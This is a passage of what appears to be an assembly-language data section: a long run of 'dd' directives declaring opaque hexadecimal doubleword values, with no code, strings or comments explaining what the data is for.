0E555DD72h, 88B84854h, 0EC9D9300h dd 0DE0F0BB2h, 913A382Dh, 777FBD01h, 0E004CB8Fh, 2B78AB65h dd 22382606h, 75584078h, 0D7F30CF8h, 4B9809D2h, 0E7B5671Dh dd 9B546501h, 5FF8AB7Bh, 686E00F6h, 24FFDB19h, 5D1ED829h dd 0C000F450h, 2756A612h, 7B4F00DDh, 0FA70581Bh, 0E403A175h dd 91A09CB1h, 43E2C002h, 4D960054h, 0A4CC379Ah, 4000478Ch dd 9CE18A44h, 3E1DA6B1h, 214A7C59h, 0D82ACA08h, 3900125Bh dd 4EE0923h, 2646F90Eh, 40101121h, 17C6B51Bh, 3DCD802h dd 8563B485h, 0C084B9F4h, 64BCF442h, 287BE00Eh, 540D2E2Bh dd 36CA8168h, 22B970B3h, 0F88900C4h, 38917247h, 5997006Ch dd 0BCC25A8h, 3B50C198h, 0D1649C4h, 8C1018FAh, 0AC20E4h dd 7076DDA2h, 69C07F3Ch, 25785200h, 0F6AAD142h, 0B067009h dd 0A8988BC8h, 803C3C8Ah, 4B76A4EEh, 13F243DDh, 58DB0703h dd 0E02E59h, 694C5620h, 31C2E60Bh, 0A7861B0Eh, 0C8248097h dd 0E3BCB80h, 0A81C54E8h, 6AD84156h, 20BC437Ah, 0E301021Ah dd 0E699C8CFh, 66F98F08h, 34803433h, 5073B5D0h, 0B3E2FE00h dd 84CB06CCh, 64B90077h, 0A70465AFh, 0BE0F18B7h, 16A6BA2Fh dd 1DC9D000h, 56FEA0h dd 0E6F59115h, 0A317E746h, 0DA583B00h, 8AD384D8h, 2C01004Ah dd 44DFA13h, 0D903F287h, 0FFEBF3C4h, 6E4C00F6h, 7D1F2EE7h dd 26581E5Bh, 0D0AF0220h, 876C6B06h, 0B191DAB5h, 0AC74A6EDh dd 8B9A3C5Bh, 0B0857491h, 33C68Ah, 0EB3227Ch, 98B4D907h dd 362828B2h, 6C04DC7Dh, 1F677CB9h, 0C816FC80h, 0D0B7139Eh dd 0AD644050h, 3C3F73DEh, 4002948h, 0A0982A91h, 0F89E1C80h dd 8690004Ch, 9B1EF613h, 0A60CA5Dh, 8D3BC638h, 64917A6h dd 24D8546Eh, 19FBC0E1h, 138D480Ch, 1D8C6FE1h, 57A6003Ch dd 15EA6299h, 0CB239501h, 900A3086h, 0A2B2824h, 80D9732Ch dd 3AA960F4h, 1712BBA4h, 2C402589h, 684A070Bh, 43C300F3h dd 7260E4FCh, 651E5E16h, 6140AD27h, 84B39E9Fh, 6B73B58h dd 6294E980h, 0AB834D5h, 0E4F12D00h, 0AE93CEFBh, 0B69C1F60h dd 0E9528046h, 31207ED8h, 0A42D8C00h, 373369CDh, 70421DBAh dd 0FAEC4060h, 297D1C43h, 44FC3C00h, 0E715E6DEh, 0F4DB00C2h dd 3BB88FD5h, 4F79D0D1h, 0D8248900h, 989F9A11h, 85E9006Eh dd 37C31975h, 0F8006DF9h, 0AC992992h, 3E67A8CFh, 0D18161EAh dd 0C9E9E541h, 7588D8E0h, 0A2730900h, 5574F39h, 0DA1C1736h dd 87850166h, 0C9BAAB27h, 183C0Bh, 7942CAA0h, 1681751Fh dd 0EE051Ch, 8F8AE668h, 3000C19Bh, 0F145C9A7h, 0E5F06ECh dd 184EB5D9h, 0CAD21E0h, 0A80EB79Ah, 61F7B6DAh, 0F35AC313h dd 0D04D083Ch, 0F8066909h, 14A5CCC0h, 0A7660A03h, 0A364097Ch dd 0F6FDABD2h, 3797B21h, 5B8E9835h, 803A492h, 0E5C4A3C8h dd 0CA18B19h, 6E2CAE28h, 0A40032C1h, 3D88D39h, 0DB224Eh dd 0B18E29C6h, 5BFE9BC3h, 5C24F100h, 2C9C35BBh, 9E08014Fh dd 1C73BAFAh, 9684414Ah, 2767C45Eh, 0C47E6C00h, 21B1E6B2h dd 60DAF024h, 0DE9C9A0h, 0C601309Bh, 6E602E9Ah, 0EAC5B2ADh dd 0EB672181h, 8E9432FEh, 82A51A90h, 80D3E113h, 51E9F65Ch dd 832803EAh, 0D927C156h, 0EDBF6EB8h, 3C2BCE10h, 0F7CAE700h dd 686FC0E0h, 0D0B65Ch, 0FD124C03h, 0E067A2D0h, 0D9630039h dd 7AF1E9A5h, 0DDE07572h, 12D3FC00h, 89CF583Ch, 0F45F0064h dd 717D94A2h, 0B2FE29F5h, 1DC5A63Ah, 0A880FC91h, 0A343A185h dd 76640017h, 45585A3Dh, 3FFCD46Eh, 3DB1D73Ah, 7B25C63h dd 0C0F3C7EFh, 5BA27DC0h, 828C0028h, 71DFA85Ah, 0C9249FA9h dd 88245526h, 4FAC7F00h, 1E95F4ABh, 1D9E3697h, 875A00C6h dd 0ADFC20EBh, 0B2508F00h, 0B475B36Dh, 6714050Ch, 0A4F3996Ah dd 0F2008048h, 0A4A77127h, 651B2E07h, 0D04F08ADh, 28905B74h dd 0C094D000h, 894DE0CEh, 7A9F07FFh, 0F10346E8h, 0F5F6CDBDh dd 0BA308066h, 0D6D34B60h, 0F958011Eh, 0E5D848D4h, 73A860ACh dd 0F3909D09h, 0DD20E037h, 0C4260097h, 0EA5E86A3h, 3F28BEAEh dd 6E0010EBh, 0A5BC114Fh, 31DDEF6h, 432C79D3h, 7107DB3Ah dd 2D31DFA0h, 2EB7E140h, 0FBB100A1h, 4011ED9Ah, 8D18A33Dh dd 0B8182A19h, 41EB38D4h, 0E0DD280Fh, 80344A9h, 80E0E81Fh dd 0D2005282h, 0CD045E64h, 0F87D61h, 0E46E96BFh, 320C1AE6h dd 0A700A9E0h, 0DF08DDCBh, 0F85A7EC0h, 41E0040h, 0CF33A89Dh dd 0AD0047CDh, 0B5705602h, 509BF2D1h, 45AE4Ch, 7A37FEF4h dd 32593E84h, 0B3440718h, 1018638h, 0FF212326h, 8080165Ch dd 0CF8A3F50h, 5060FEBBh, 1FC129h, 0C195EBFFh, 0B847E105h dd 96898300h, 3A46570Ch, 692F000Fh, 209ADD14h, 99DCD165h dd 60400A9Ch, 3977D3A2h, 9171FCh, 57BC4E12h, 4D63B044h dd 3254C31Ch, 0CE671384h, 1CDF8300h, 790E86E6h, 60D891ADh dd 0E20D549Ah, 4B480009h, 755F1D9Dh, 7E7A84B7h, 93DFC300h dd 0F5D4BD47h, 950B307Bh, 0B20D9148h, 23B37900h, 0BE75DC13h dd 4C4200E0h, 9A5F6925h, 0F8176BF7h, 0A418ACCDh, 1C8D07B9h dd 8EBD5593h, 0ED208E1Dh, 0AE512199h, 0F55EA800h, 0D57CD779h dd 0D44D0085h, 0DB6A3D03h, 0D0011CD1h, 0AABE81C8h, 50807EF5h dd 0C2D8BDAEh, 980058DCh, 4850756Fh, 9173E3h, 662411FAh dd 15DF61A9h, 0F9F8EEE4h, 232D511Fh, 0A85CBB01h, 97F00CB7h dd 7C7A75D7h, 5D060026h, 0FF8069C4h, 0D300B448h, 166A58F8h dd 7ACB293h, 7ADF9CA2h, 78087C60h, 3620E660h, 6EAB50h dd 0E0941DDh, 5788603Bh, 6DFB7600h, 16D1A313h, 5935016Bh dd 0D8C2F561h, 6420C071h, 88B8CB36h, 0DA30C048h, 0AA60E869h dd 0A5F841C0h, 3408F44h, 0D9DCAE88h, 0A3A17FBAh, 3220875Bh dd 24B044B6h, 0C1380h, 4048F569h, 370EAABCh, 0DFD05701h dd 0D55D0BBBh, 3B4AD080h, 7496912Ah, 0DE8EFC0Ch, 137A08EBh dd 58FB75h, 0F1C72ADDh, 310A2B94h, 90084AECh, 75218C20h dd 0B2BC81AFh, 18C4A29Fh, 0EDFB403Ch, 0E620A96Fh, 0E16B67h dd 77F3095h, 3FEB8874h, 9A615601h, 576AE840h, 50F714ECh dd 0E21ED80Bh, 12420067h, 0EBC8BA88h, 0EC010E5Eh, 64F68743h dd 7CE43DD5h, 1EE800F5h, 8DC654EEh, 0F0000617h, 18F3CC28h dd 1E4499B0h, 0C0B73C6Eh, 0D664DA7Eh, 0AB00B81Dh, 77E0BFB2h dd 0F48F6F35h, 0EAD700A4h, 25C01099h, 0F6003C8Dh, 6C47CEC4h dd 9F4DD1h, 74DCCB67h, 55BC310Ch, 0DE106F01h, 0F424A903h dd 2C62CDCCh, 74B451h, 0A8A55E63h, 0F1001458h, 45C556FDh dd 0FA7A03h, 0E04B128Eh, 9DC6E9FFh, 76097100h, 0B9FE3701h dd 848A0CF3h, 0BD415080h, 44DB4A1Dh, 0F6660B80h, 0BD6C848h dd 0D0C9EAAEh, 0E85EAC80h, 9E00ADB3h, 0D5CEF3A8h, 2C5B3672h dd 53A5E7h, 0AAEE1F97h, 0A400B371h, 902F2067h, 0B08C5E93h dd 0F8A3E626h, 756C0030h, 0F8D1CE88h, 3F03FF0Bh, 9793E8F0h dd 0B333B8FEh, 0DD210035h, 142A6BDAh, 5100814Ah, 6CD53269h dd 0C06566C4h, 8496F618h, 1C0E38F2h, 0E07E4AC3h, 4094DE22h dd 0A40E066Bh, 0E163D48Bh, 8E560B07h, 49705B7Fh, 0B93698h dd 4B22D626h, 0F3F69230h, 0F793F13Ch, 0E665A000h, 80C3BBA3h dd 0A9600049h, 40881922h, 0FC00E0F0h, 13C54C50h, 0F510F98Eh dd 0C6D270h, 62862A90h, 14F18B30h, 63B23B1Fh, 0FE42AE03h dd 1E18708Fh, 0C35D5E3Ah, 0A535E896h, 0BCC053A3h, 31FA8F51h dd 0BB9D630Ch, 60F50971h, 0DFB12095h, 0CF301A8Ah, 0CA1250BAh dd 9C8B312Fh, 0BC575941h, 6E481E58h, 0BF31B080h, 3989F8Bh dd 0C87F2156h, 18C0F120h, 1C00859Bh, 45BECBBDh, 0B267C6h dd 6188FBDBh, 0F103C042h, 49875E01h, 53A459BBh, 0A1CF3600h dd 7C277737h, 2B2229B0h, 498530A2h, 0A1F75420h, 8C0DF200h dd 0E9AD108Ah, 2C020078h, 0BF8DE850h, 0F8C18B27h, 0BE717B56h dd 0D6C3C080h, 4C7E1F62h, 1B65230Eh, 9F97C073h, 17E53919h dd 0ACF330F6h, 83A90FA8h, 0BAD60731h, 721B0110h, 1312E02Dh dd 14187EC6h, 77002BEFh, 3546CD5Ah, 6900C072h, 0D389BE6Ah dd 56D815h, 86EC6042h, 0C5E19BE9h, 80B0170Bh, 9970CAEh dd 20EB607Ah, 9FC7273Bh, 0A8148700h, 3436E7EDh, 0ADE0F731h dd 4F441D81h, 7947405Ch, 0D7848ACh, 7BD6EC18h, 0FC0A0940h dd 156803A1h, 1FB7E3C2h, 71990818h, 0E81B6F20h, 935900D3h dd 85EE6428h, 0E9008817h, 679E6A7Bh, 6D56562h, 94D6D76Fh dd 983958E3h, 74880747h, 81A0E653h, 0EFFF705h, 4240AF8Dh dd 2D82B2E3h, 0F2762BF8h, 49D0E300h, 78445803h, 4BA003EBh dd 0EA99DD3Dh, 11A65003h, 0D00C4292h, 3A05076Fh, 0D9306A75h dd 92954521h, 0F1B29603h dd 44AC0BC1h, 37BA0F8h, 93CE7F75h, 10078440h, 4C96A10Bh dd 51BEF590h, 0EEA30C97h, 4AD91357h, 0DCA99900h, 73C00E61h dd 0EB143D5Fh, 9B060380h, 8FABF6Ch, 39004F78h, 68C4783Fh dd 3E5E72h, 38B16152h, 0CB542E3Bh, 5C3B4B73h, 87760083h dd 0E1BBA04Ch, 0D04A00EDh, 807F02E6h, 400EF75h, 172666ACh dd 34B402Ah, 29F2311Ah, 96804C02h, 0C4039E14h, 1671528Fh dd 7940C0D2h, 0CA800076h, 7AB7C893h, 0EF0FFD3Fh, 43C9163Ch dd 0B013C765h, 1A9A8Ah, 8147BA89h, 8C1F4B43h, 0B0AEE409h dd 0C0C40018h, 14AD6F7h, 92B389E5h, 21BE57C7h, 0D81880CCh dd 0B46177F6h, 8398A0h, 0E5641B50h, 0A5B84EAEh, 0B20F9500h dd 0A03C36BCh, 0D3E900DAh, 0C441C8A7h, 3400CCA2h, 0EA501944h dd 24801ECh, 9C5FFE14h, 0D6833A5Eh, 2BE1DB6Dh, 0DE0EE74h dd 301B5E9h, 93443045h, 99F84808h, 1EB31849h, 0AD4EB8B7h dd 3663E000h, 8D3ECDBFh, 897AB2h, 5DFFBD4Fh, 6D71370h dd 3F3E5AF8h, 0A86080EFh, 9003CB72h, 9AB7053Ah, 0C09BD323h dd 609806CEh, 0CB53E103h, 810F278Dh, 0C07F0B65h, 184F92CCh dd 4DDE3601h, 8528B45h, 2E485080h, 0F5D198B8h, 0A7A8FE00h dd 0F2393B17h, 0B3693006h, 0CA44E20h, 0C4023A00h, 49D675Dh dd 7C420CAFh, 0B6780DDAh, 0D70FDF98h, 2E494Bh, 231CC140h dd 728B0EB3h, 0A6816792h, 814CE27Ch, 2DC62020h, 6BFC9686h dd 0FCCB0026h, 93810705h, 46687C5Bh, 0B05E2C48h, 802C88EDh dd 2BFEC7h, 0CFBCAEECh, 0B0E77B3h, 20D16E00h, 4DBF7187h dd 0A038E06Ch, 0F4C5988h, 0D081B1D7h, 60A36600h, 10C306D6h dd 0C0AEC9E2h, 48DA3F09h, 0C1002E27h, 70D8348Dh, 150F12DEh dd 20C93856h, 0C517E46Ch, 0C090176h, 7571F6ADh, 0AE0CB4Dh dd 5E008882h, 0D4FB9AF1h, 76C077h, 0C71B352Ch, 0B3519403h dd 8D687200h, 34E64CC8h, 8E90ECh, 550D45C4h, 0BD908E2Eh dd 0D917C100h, 0B3A0F562h, 0F8DD002Bh, 0F9E4952Fh, 367E7A0Bh dd 9D0FF30Ch, 1D79B6E5h, 80BEE9FEh, 0B1F28FACh, 0F9FA6C5Bh dd 0B2D8F807h, 0EBC09A1Ch, 386DCDBh, 25F1AD11h, 0FEFBF3E7h dd 0DAA6BE80h, 4CCB010Fh, 2070CF13h, 0EEF4CCDDh, 0A91103FEh dd 68CD3942h, 49108261h, 2880F5C7h, 0ED4CB92Ch, 0B8FC4214h dd 0DEE16F03h, 0C057483Bh, 139708DFh, 1211DD65h, 0BC20000Ch dd 0BD88FD9Bh, 0F3C93900h, 12EE820Ch, 484B60F5h, 2583E8BBh dd 0D2B3CB03h, 0E8979B6Dh, 1FA5CD5Eh, 1BC5F257h, 4088B083h dd 0B64C8560h, 0FE01706Bh, 783E62E3h, 41EE14E0h, 0A08096C4h dd 6B31E7C0h, 163B9C98h, 0A50E9FB4h, 3EA2B047h, 7BCE40BEh dd 0D2FBA7h, 9D3F9C0Bh, 66904B7Ah, 5648F100h, 0BE8C6EDBh dd 0C91FED9h, 3384F20h, 113EB6B0h, 373400C7h, 57924443h dd 3F07007Ch, 0A115B56Dh, 31004106h, 34EBEA7h, 0CA8C414h dd 0D296178Fh, 0E500DE40h, 0F461F12Fh, 0A1E0D2Ch, 384D4045h dd 546200ECh, 0B1A48F95h, 3A0B30DDh, 1FA38663h, 0E5961380h dd 23E80107h, 0CDDA69D9h, 57F2D1EEh, 9D7C00A8h, 0FD037A3Eh dd 318E8C45h, 4C781DD6h, 0D18BC098h, 41A8C973h, 0F86B800h dd 339CAB57h, 0EB0A0082h, 32D33CB7h, 4E78C2D0h, 6035A45Ch dd 0FC11ED41h, 614F7F7Ah, 806A70F4h, 0CCD2E822h, 18CBAC24h dd 0D10E5900h, 0AB8612h, 0F4BDF156h, 9FFC4738h, 0CBC58F00h dd 0BEA6979Dh, 1C7C7E49h, 3C9379F6h, 0C0A48800h, 0F3B124C6h dd 0CD1E0100h, 81E7D4F7h, 8A6D00AEh, 6017D64Dh, 83031C22h dd 726641DBh, 0EECBC8DAh, 4DEAB1h, 1965E129h, 0F6FC091Bh dd 51FFE61Fh, 0C607FAB9h, 0B09D718Eh, 0CA8BDD20h, 8FC5004Bh dd 2FFAAC4Fh, 590068D7h, 6E2B7581h, 78EC48DEh, 67DD0038h dd 17D2D60h, 9003EF0Ah, 0B28F6343h, 0C6C4A0DCh, 0B5FA0064h dd 0CE370535h, 0E31E062Bh, 7DC04A68h, 90284FDFh, 445A0EF1h dd 6AC011D3h, 0AE897741h, 13A68812h, 93BAA000h, 322E709h dd 75E0C7A3h, 0B08821C6h, 3200CD5Ch, 16B8254Dh, 3BEB5E1h dd 0DBC5855Fh, 6890CB50h, 1B07090Fh, 95761158h, 42C0FA84h dd 1E7EE70h, 0C5ABB6DEh, 206DF7D9h, 7700BBEEh, 5035AED6h dd 5854238Eh, 2900F71Ch, 276BC199h, 0BF47192h, 0F8B05A00h dd 683462BFh, 0C5B40019h, 5745265h, 150639EFh, 0C308A354h dd 420D118h, 2A377B0h, 0DDC30900h, 0E4B3F226h, 50AA014Bh dd 0F6D147BEh, 76A57084h, 59061D70h, 0EFA7394Dh, 40B67F29h dd 70014AB7h, 91760C08h, 1200C087h, 62800FA6h, 0A151C452h dd 89654675h, 4F5A0129h, 0E4BD9DBh, 0AF2A103Fh, 1076F073h dd 115FEDB9h, 3A08A2A6h, 2F08AA6Dh, 86ED90B1h, 30799A31h dd 0AE296C06h, 21807450h, 0C59089F0h, 533201B4h, 0CDDE7988h dd 0A184F58Ch, 43B220B9h, 0DD3C1E51h, 49F1947Eh, 0AE0A1864h dd 0CE6BCA51h, 1AA01128h, 4C157BA0h, 0BDFD1E00h, 0D33481B3h dd 0E269099h, 694A9C9Eh, 5633C160h, 0A400A1ACh, 3D781120h dd 0D11D65h, 0F5BCD915h, 5D888603h, 323F1B00h, 0D553367Bh dd 7FBB77C1h, 625000B2h, 601D2B25h, 4E1F896Bh, 768086AEh dd 0E2849C7Fh, 71263ECCh, 0E169D403h, 0D0B72221h, 4688ACD7h dd 9E5B3F00h, 209D101Dh, 0E6480450h, 903CEC25h, 0CDDA2E18h dd 7B56F000h, 0FD204E37h, 402C004Ah, 4B873154h, 0A4004F23h dd 9C6205C6h, 0FCC9F8Fh, 164A49FFh, 25E58C20h, 748E0AAh dd 0DC950250h, 403CBA3Fh, 46177Eh, 11494F3h, 9D2B6C7Dh dd 2FDC500h, 0E163F718h, 7887E099h, 1EF60069h, 11C73A6Ch dd 5C00DD6Eh, 0E321B394h, 0D06F12h, 0BFBC44F7h, 8A7AA019h dd 961A1B00h, 0E22137AEh, 946500B1h, 0A7FD6D20h, 0FE00456Ah dd 5C69B0B4h, 0F30D783h, 7EE4112Fh, 2090803Eh, 0AECE1281h dd 0B3820600h, 453DCC2Ch, 0BD30036Eh, 89786004h, 0F0B53ED0h dd 99B18C00h, 0A10A6BECh, 0FCEB00D8h, 2D9F46F7h, 0CA00D56Ch dd 0F1678049h, 0DA422Ah, 8D1B06B0h, 0EFEA8AFAh, 0C50B8500h dd 92FE30Eh, 3E700D9h, 26D3CBEh, 57734FE8h, 0F83D003h dd 88B4BD29h, 377C8ADh, 629444E4h, 40B74D55h, 15FFBF0Ch dd 0ED00B8E0h, 0A646099Dh, 249C3071h, 10A11F2h, 0C94E7AD6h dd 0A745E473h, 95C7F405h, 0FD005752h, 1D86647Eh, 0FF910096h dd 0F8154E32h, 0FD0065CAh, 870DC2F6h, 14559Dh, 0DF7F9AC3h dd 385120BAh, 0AE7560B8h, 41D3CF00h, 0A2AACD73h, 3E440033h dd 0CC64FD69h, 8B003BEEh, 0B51FF460h, 6386C6h, 7338DCA9h dd 8F6A851Ch, 80007DECh, 22812730h, 0EC2BB47h, 941567F3h dd 0FFA4AA40h, 51001006h, 36570CB7h, 0FECD7141h, 833803D8h dd 7C982DD6h, 4A2E28C0h, 0A267700h, 0F9EBE842h, 97F81DBCh dd 0D235405Ah, 27BD983Ah, 2E9B730h, 3E29CDB2h, 4A008ABBh dd 352869F8h, 4B00EBFEh, 0F7A60387h, 7BC4ABh, 7814BD31h dd 0B6C03B0Eh, 677FF600h, 1C17F406h, 9DF0A09Ch, 6CA65C23h dd 7A28300h, 6126C95Eh, 0E6024600h, 111D1E1Ah, 87C0028Bh dd 5F67A590h, 0C403F4E0h, 0C87B7200h, 2FE428B3h, 37D7A6Ah dd 1E9D2E35h, 3CD8B017h, 130009B8h, 522886BCh, 1D08842Ah dd 435AE9CDh, 0FEB038F5h, 7F075EF8h, 5972C81Eh, 0D645D8C0h dd 0EC3509h, 0E3CF2984h, 0F68C98D5h, 0D2FA9901h, 22965727h dd 2C760DC4h, 0FC84794h, 8E0028C5h, 74C8B62Ch, 6122490Bh dd 0DBF50088h, 0FE37A9F8h dd 48D100C5h, 79DF0775h, 84005EE7h, 5FBC9D67h, 0F4C176h dd 2560FC2h, 0B303421Fh, 94188700h, 14E1E4A7h, 0CA1200FAh dd 0D4475922h, 51723275h, 2602933Eh, 95072836h, 5A30883Fh dd 0E001CCD3h, 0A6C90057h, 76C36EF1h, 1200057Bh, 30B3AA58h dd 3F71D449h, 7494473Ah, 8E00F4F9h, 4F0BC494h, 1360C044h dd 2B892D4Ch, 25EC003Bh, 87410C88h, 0EB0F8BDh, 0E838522Ah dd 0C319452Ch, 0DC10820Ah, 7ABBA600h, 0DA3327h, 4AFB544Bh dd 8F499B28h, 0CB377C01h, 0AA14F232h, 0B5F4C8h, 8EEE0CADh dd 5285DD98h, 1BC12700h, 4E18160Dh, 179D02C7h, 2101232Fh dd 0F8508841h, 6000ACF9h, 22B0F2F8h, 69A5D7h, 0BDE80394h dd 92A81E9Eh, 8CC91418h, 963518h, 7416D45Dh, 249B391Ch dd 0FBDD0F00h, 5B2B0BC8h, 0C6D83F67h, 9580773Bh, 47A00C39h dd 3200233Ah, 0D2F3CF03h, 3EC083Eh, 0B36BCCB6h, 7AA093F6h dd 5400B1FBh, 37A4C1BDh, 1E69F82h, 0AB1581D2h, 0F4BE842Eh dd 0BA003912h, 4442C91h, 989DF979h, 0D44D0089h, 1AE38684h dd 1E1CE4F8h, 2701A270h, 0EC4F537Bh, 56535ECh, 6A9A504Eh dd 7454C0E4h, 5898868Fh, 0A9F33Bh, 0F1E61B8Dh, 4D763721h dd 0C90190C4h, 28F77350h, 78CC49Fh, 90BF3D00h, 0C63AEDDCh dd 0C4E60Bh, 1FD1D9B6h, 7DEE13E0h, 85D22100h, 245D61E3h dd 78F6589Ah, 0DD19400h, 0EB0E7DEAh, 0B8C1832Ah, 0D764FC00h dd 71CCA28Dh, 2E3E283Dh, 0DEC300D4h, 312C5893h, 0D5389E4Dh dd 792480FCh, 0B8269D6Fh, 7D942E1Bh, 0C54501EEh, 704D5B34h dd 5E18CD52h, 6840C874h, 0E04E009Fh, 9D728281h, 0B02CB903h dd 880034CFh, 0DBFF1B0Bh, 7E4100F0h, 9CD54916h, 6B75E621h dd 6C914D00h, 18444010h, 169A00C7h, 0DDA6DD4h, 24003177h dd 48D821E6h, 2CBC8612h, 0B5C791Ch, 3700FC41h, 450569Dh dd 0D5BDD81Eh, 53264E00h, 3983D93Eh, 93006FA4h, 9D60CEE1h dd 8490A7EEh, 1FA6911Ch, 2EBBE4C0h, 7EF7B327h, 9E5A0084h dd 0D6E324EAh, 55762807h, 0B20C61F6h, 0D6808765h, 5194006Bh dd 35639F7Fh, 38F62AA9h, 0C571501h, 14CD9C16h, 0A05D4C70h dd 0D87BBCh, 7425A7A8h, 0BC61AD99h, 0FA00D490h, 381AF7CFh dd 499E03h, 7FD75482h, 24A8B022h, 9FD32805h, 2981F5EEh dd 82F49468h, 8D460495h, 8013779Bh, 0D1A65A50h, 0D38C6A00h dd 0AEE63609h, 5E230079h, 5B5CC9DCh, 0F5000FD0h, 57813531h dd 8E1F3Eh, 0CC5152F8h, 65C5B561h, 641EF900h, 9EDD57AEh dd 6E480003h, 0EAEE458Fh, 750EE502h, 92AF71h, 597AF529h dd 317E0E23h, 24A01DBAh, 811C897Dh, 0E02A6EAh, 0B871DC4Ch dd 5893E022h, 33719Ch, 0BE67E53Ah, 7B3EC082h, 5E37AA00h dd 0AB9D0494h, 846107DBh, 3562954Ah, 99C800Bh, 0A00C354h dd 0DC2CDF65h, 0BB81D70h, 0F03AC649h, 50884B80h, 7400FE5Fh dd 26C5900Bh, 623996h, 916A8303h, 70B7B91Eh, 1ABBFB05h dd 4C030A0h, 0CDEA60h, 73FA2FE1h, 0E0869408h, 85736673h dd 0BDE97A00h, 1B775E4Bh, 3BD807D3h, 0D016A0B1h, 9B19766Bh dd 75C660Eh, 67B620C7h, 0B4F255Ah, 0FCB7B5Bh, 63DBEF00h dd 0CA01214Dh, 147CD4C4h, 347077B8h, 6CB100CEh, 0A276C7B0h dd 0F300C609h, 0EE4EDE73h, 9553F8h, 7B7ADCFh, 80B27FD1h dd 2FC7C300h, 1A7008AFh, 3F5672BCh, 87806649h, 0A503FF8Ch dd 54006A74h, 0D3A19078h, 0C0C30DF7h, 0FAB08098h, 617F558Dh dd 0DCBE7A01h, 532EA1EAh, 1795C8h, 0DAA8E809h, 43CE2F23h dd 5F6FD400h, 29277DACh, 30373E1Fh, 18CB4A00h, 2FD31448h dd 8F71E63Fh, 0C0080B6Ch, 49F9F7E7h, 0C0430074h, 531EC65Eh dd 0A65D47BCh, 7CDC00BCh, 82582E3Bh, 0F6190061h, 76F0F78Bh dd 9000DBEBh, 697077D7h, 0E23E6Fh, 0F9B021B3h, 7ED89F26h dd 0F81EA978h, 0D40EC645h, 0CF8902h, 4E0BE8ACh, 0BCE34CD7h dd 39531504h, 0E5E080B9h, 0D9073D72h, 2DE081E2h, 10D13A80h dd 30C5009Ch, 0CD74AD04h, 87071BBEh, 9D6DE39Bh, 3C544E20h dd 0E93500D4h, 1F56E597h, 4600A8EBh, 2FC8B1BEh, 0C61950Fh dd 0D077BC4Bh, 0C2007550h, 199A66B5h, 0F4F58C6h, 0C06ECEC1h dd 230B40DDh, 0F85F44B1h, 0EEA12800h, 65D6ECB7h, 21F90E11h dd 1FC01B51h, 4B367BA0h, 0FF84593Bh, 71867200h, 38BC79B7h dd 610C003Dh, 9E21F8DCh, 2A39CB13h, 5C007A68h, 607BEA82h dd 90C02EB3h, 0E8E200B8h, 0C1D48847h, 0E000A2BBh, 9B1609D7h dd 0F29131h, 83021730h, 0A7E34075h, 6AADC61Eh, 0D8611CC0h dd 43BC51h, 59E5FA0h, 20E9FD93h, 0B401DF98h, 0E36F1081h dd 8BDCDB7Dh, 0AE3B0ED3h, 6805C26h, 7B0F402h, 0A2841900h dd 0F110F3E1h, 1C8C0663h, 0D9154BFEh, 958AB880h, 3B545902h dd 83211094h, 90029D96h, 800649h, 89CCDA78h, 0D69942A4h dd 6B4D5412h, 0DC566C02h, 0F1ACC0CFh, 32DE006Dh, 600EE262h dd 0E503272Bh, 0A93E1E1Ah, 0EE76F053h, 1FF6F406h, 40C4B337h dd 0B699E0BFh, 0CC037442h, 0B2685F1Ah, 77118853h, 1EEA35h dd 0F1C9FC17h, 0F7453D42h, 0EDAAEE00h, 21BEF46Ah, 9BF20F25h dd 78E05B38h, 0BFFBFCEBh, 80C8FA00h, 0E3335622h, 5AC217A9h dd 0D08040F6h, 0E0E97FA4h, 37BA7B00h, 5AB86E43h, 0C2C80069h dd 9BE5A21Fh, 9D0E1208h, 0D3E4A4B9h, 0F35100ABh, 71191A5Ah dd 29844F01h, 0F51CDA16h, 0E8778880h, 3120C899h, 0D964FE18h dd 3872D280h, 86804FFAh, 0F4C71CB2h, 0E0E4D03Bh, 2B4D9800h dd 5580A582h, 0D7370381h, 9AC528F0h, 0B2D86CE3h, 5D003586h dd 11AB9C92h, 3D666A1Fh, 490154F4h, 0F278D1F9h, 0A920805Bh dd 91EE47A3h, 0E7C00109h, 47DA1E6h, 4C6BD098h, 5B6C6900h dd 47A6EFC1h, 94801C68h, 7BFE0099h, 213DCD75h, 2565E100h dd 0A2AEAB7Dh, 47A800FAh, 1DD70A9Bh, 0D4FCD00Bh, 0F3726E00h dd 0C93C8FE4h, 0B78400FEh, 0FCB44737h, 0ED0EFAF4h, 20AEF217h dd 0F38CB976h, 6DF50065h, 0F494063Eh, 6F00A2E4h, 0EB4FB311h dd 1E314D72h, 0D6D54A09h, 2C800016h, 0CE762F92h, 192BEC00h dd 3328F1AFh, 8BD403A4h, 0E348B81Ch, 0F017978Fh, 72535E86h dd 0FB26B4B8h, 0AE036481h, 0D5E44Ah, 155879EEh, 50696A7Dh dd 3AD70B5h, 2F5C3C2Bh, 598816BCh, 1000A98h, 496D45F2h dd 0A1828A9h, 0BA103992h, 57300E6h, 8CD0A615h, 250E4300h dd 0A16211Eh, 77CA0095h, 7094609Ah, 0C9008E67h, 0E6033FB8h dd 98EA2DEEh, 0B149009Dh, 9BC423D0h, 5B2453A6h, 7004E01Dh dd 60176EF5h, 0F493180Ch, 0E2C3948h, 0CEE0EE49h, 70EF203Ah dd 0B0363D0Bh, 79E70E4Bh, 140094C0h, 0DD59EAF8h, 0BE8D1307h dd 0D2804AA2h, 84E5B3h, 0A4533AECh, 0ACA5697Eh, 6B1A750Bh dd 134A022h, 1277EC13h, 63AEDA1h, 0D0A228FBh, 65758A07h dd 0E930913Eh, 0AA74F0h, 0D60EC6EEh, 6931FCB0h, 1EFF5107h dd 80DB4A46h, 5FC3EA94h, 0E6F400D0h, 93C7B5EDh, 0AF4CDC98h dd 0C02324D8h, 8C94FD00h, 342EC5Eh, 0F13C801Fh, 0C1D86466h dd 0F4F125C3h, 1800A2ACh, 8FE09012h, 7CAB7AD5h, 1F0C020Bh dd 0DD082D73h, 0C0D19A87h, 78469CC1h, 800AED2h, 0F0B527B0h dd 15F63A9Bh, 7E0C3801h, 0FDDED056h, 7440EA4Ch, 6905A089h dd 679AF94Fh, 9E36B4C0h, 38562C3Ah, 60C900F7h, 16D23FFFh dd 62D84500h, 47B8C6B4h, 37730002h, 903E9FC3h, 0BE80739h dd 0DFCC4Ch, 0E6A3F1Bh dd 0D7986Fh, 0D07F30B7h, 33C2F2CFh, 0C0836099h, 9674D6Dh dd 0FCCFC3D2h, 9FDB1060h, 76325600h, 5F34D44h, 0B96E3F82h dd 50004B3Ah, 2CC9B270h, 0D62662C7h, 810148EFh, 6933F71h dd 4001D02Ch, 69010DAAh, 0A7B84024h, 